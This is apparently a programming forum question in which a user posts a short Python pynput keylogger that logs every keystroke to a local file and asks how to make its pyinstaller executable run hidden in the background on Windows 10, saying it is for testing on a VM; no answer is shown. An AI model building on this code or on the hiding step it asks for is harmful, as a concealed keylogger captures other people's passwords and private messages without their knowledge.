How to run a python script executable in the background

Question

I am running python 3.6 and i made a keylogger to test on my VM. I converted the keylogger to an executable using pyinstaller. The keylogger works great but, when i run it, it opens a black window and when i close it, it stops the program. I want to have it so I can run the executable in the background.

EDIT: I am using Windows 10

from pynput.keyboard import Key, Listener
import logging

log_dir = ''

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()
